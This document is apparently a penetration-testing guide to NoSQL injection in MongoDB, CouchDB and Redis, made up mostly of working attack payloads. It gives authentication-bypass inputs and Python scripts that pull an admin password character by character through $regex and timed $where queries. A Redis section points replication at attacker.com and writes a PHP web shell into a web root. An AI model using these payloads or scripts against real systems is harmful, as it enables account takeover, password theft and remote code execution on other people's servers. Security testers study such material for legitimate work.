NoSQL Injection
NoSQL injection vulnerabilities occur when user input is improperly handled in NoSQL database queries. Unlike SQL injection, NoSQL injection exploits the query syntax specific to each database type. This guide covers MongoDB, CouchDB, and other common NoSQL databases.
Why NoSQL Injection Matters
NoSQL injection can lead to authentication bypass, data extraction, and in some cases remote code execution. As MongoDB and other NoSQL databases become more popular, these vulnerabilities are increasingly common. Many developers incorrectly assume NoSQL databases are immune to injection attacks.
Warning
Tools & Resources
Understanding NoSQL Injection
NoSQL databases use various query formats including JSON, XML, and custom query languages. Injection occurs when user input is directly incorporated into queries without proper sanitization or parameterization.
Common NoSQL Databases
| Database | Query Format | Attack Vector |
|---|---|---|
| MongoDB | JSON/BSON | Operator injection, JS execution |
| CouchDB | JSON | Selector injection |
| Redis | Commands | Command injection, SSRF |
| Cassandra | CQL | Similar to SQLi |
| Firebase | JSON/REST | Rules bypass, data exposure |
MongoDB Injection
MongoDB is the most common target for NoSQL injection. Attacks typically exploit
query operators like $gt, $ne, $where, and $regex.
Authentication Bypass
# Normal login query (Node.js + MongoDB)
db.users.find({
"username": req.body.username,
"password": req.body.password
})
# Attacker input (JSON body)
{
"username": {"$gt": ""},
"password": {"$gt": ""}
}
# Query becomes:
db.users.find({
"username": {"$gt": ""},
"password": {"$gt": ""}
})
# Returns first user where username > "" (any non-empty string)Common Bypass Payloads
# URL-encoded payloads (GET/POST parameters)
username[$ne]=invalid&password[$ne]=invalid
username[$gt]=&password[$gt]=
username[$exists]=true&password[$exists]=true
username=admin&password[$regex]=.*
# JSON body payloads
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$ne": ""}}
{"username": {"$in": ["admin", "administrator"]}, "password": {"$gt": ""}}
# Specific user bypass
{"username": "admin", "password": {"$gt": ""}}Operator Reference
| Operator | Meaning | Attack Use |
|---|---|---|
$ne | Not equal | Bypass with any non-matching value |
$gt | Greater than | Match non-empty values |
$lt | Less than | Range-based matching |
$regex | Regex match | Pattern-based extraction |
$where | JavaScript execution | Arbitrary JS code execution |
$exists | Field exists | Schema discovery |
$in | In array | Multiple value matching |
$or | Logical OR | Condition bypass |
Data Extraction with $regex
# Extract password character by character
# Test if password starts with 'a'
{"username": "admin", "password": {"$regex": "^a"}}
# Test if password starts with 'ad'
{"username": "admin", "password": {"$regex": "^ad"}}
# Python script for extraction
import requests
import string
url = "http://target.com/login"
chars = string.ascii_letters + string.digits + string.punctuation
password = ""
while True:
found = False
for c in chars:
payload = {
"username": "admin",
"password": {"$regex": f"^{password}{c}"}
}
r = requests.post(url, json=payload)
if "Welcome" in r.text: # Success indicator
password += c
print(f"Found: {password}")
found = True
break
if not found:
break
print(f"Password: {password}")JavaScript Injection with $where
# $where allows JavaScript execution (if not disabled)
# Always true condition
{"$where": "1==1"}
{"$where": "return true"}
# Time-based blind injection
{"$where": "sleep(5000)"}
{"$where": "this.username == 'admin' && sleep(5000)"}
# Data exfiltration via timing
{"$where": "if(this.password.charAt(0)=='a')sleep(5000)"}
# Full $where payload
{
"$where": "function() {
if(this.username == 'admin') {
return this.password.match(/^a/) ? sleep(5000) : true;
}
return false;
}"
}Information
$where by default.
Older versions or misconfigured instances may still be vulnerable.
CouchDB Injection
# CouchDB uses JSON selectors for queries
# Normal query
{"selector": {"username": "admin", "password": "secret"}}
# Injection payloads
{"selector": {"username": "admin", "password": {"$gt": ""}}}
{"selector": {"username": {"$gt": ""}, "password": {"$gt": ""}}}
{"selector": {"$or": [{"username": "admin"}, {"username": "administrator"}]}}
# Data extraction
{"selector": {"username": "admin", "password": {"$regex": "^a"}}}
# All documents
{"selector": {"_id": {"$gt": null}}}Redis Command Injection
# Redis uses a simple command protocol
# If user input is concatenated into commands:
# Normal: GET user:123
# Injection: GET user:123
KEYS *
# Common payloads
KEYS *
CONFIG GET *
INFO
# SSRF via Redis
SLAVEOF attacker.com 6379
# Write file (if allowed)
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system($_GET['cmd']); ?>"
SAVE
# Lua script injection
EVAL "return redis.call('KEYS','*')" 0
Detection & Testing
Identifying NoSQL Injection Points
# Test parameters with array/object syntax
# Original: username=admin
# Test: username[$ne]=invalid
# Content-Type variations to test:
application/json
application/x-www-form-urlencoded
multipart/form-data
# Quick detection payloads
# URL parameters
?username[$ne]=x&password[$ne]=x
?username[$gt]=&password[$gt]=
?username=admin'&password=test (may cause errors)
# JSON body
{"username": {"$gt": ""}}
{"$where": "1==1"}Using NoSQLMap
# Install
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
pip install -r requirements.txt
# Run
python nosqlmap.py
# Options:
1. Set target URL
2. Set HTTP method (GET/POST)
3. Set parameters
4. Run injection tests
# Manual scan
python nosqlmap.py -u "http://target.com/login" \
--data "username=admin&password=test" \
--dbms mongodbBurp Suite Testing
# Intercept login request
POST /api/login HTTP/1.1
Content-Type: application/json
{"username":"admin","password":"test"}
# Modify to injection payload
{"username":"admin","password":{"$ne":""}}
# Or use URL-encoded form
POST /api/login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&password[$ne]=
# Check response differences:
# - Successful login (bypass worked)
# - Different error message
# - Response time changeBlind NoSQL Injection
Boolean-Based Blind
# Test true condition
{"username": "admin", "password": {"$regex": "^a"}}
# Response: Login successful (password starts with 'a')
# Test false condition
{"username": "admin", "password": {"$regex": "^z"}}
# Response: Invalid credentials (password doesn't start with 'z')
# Automated extraction script
import requests
import string
def extract_field(url, field, known_prefix=""):
charset = string.ascii_lowercase + string.digits
extracted = known_prefix
while True:
found = False
for char in charset:
payload = {
"username": "admin",
"password": {
"$regex": f"^{extracted}{char}"
}
}
r = requests.post(url, json=payload)
if "success" in r.text.lower():
extracted += char
print(f"Found: {extracted}")
found = True
break
if not found:
break
return extractedTime-Based Blind
# Using $where with sleep (if JS enabled)
import requests
import time
url = "http://target.com/api/login"
charset = string.ascii_lowercase + string.digits
password = ""
while True:
for char in charset:
payload = {
"$where": f"if(this.password.charAt({len(password)})=='{char}')sleep(5000)"
}
start = time.time()
r = requests.post(url, json=payload, timeout=10)
elapsed = time.time() - start
if elapsed > 4: # Delay detected
password += char
print(f"Found: {password}")
breakTesting Checklist
🔍 Detection
- ○ Test login forms with operator payloads
- ○ Check both JSON and URL-encoded inputs
- ○ Look for MongoDB/NoSQL error messages
- ○ Test search and filter functionality
- ○ Check API endpoints for JSON queries
🔓 Authentication Bypass
- ○ Try $ne, $gt operators on password
- ○ Test $regex with wildcard patterns
- ○ Attempt $or condition injection
- ○ Test $where JavaScript execution
- ○ Try targeting specific usernames
📤 Data Extraction
- ○ Use $regex for character-by-character extraction
- ○ Try time-based extraction if JS enabled
- ○ Enumerate collection fields with $exists
- ○ Extract usernames before passwords
- ○ Document all extracted data
💥 Advanced
- ○ Test for $where code execution
- ○ Check Redis CRLF injection
- ○ Test aggregation pipeline injection
- ○ Look for mapReduce injection
- ○ Check for exposed MongoDB ports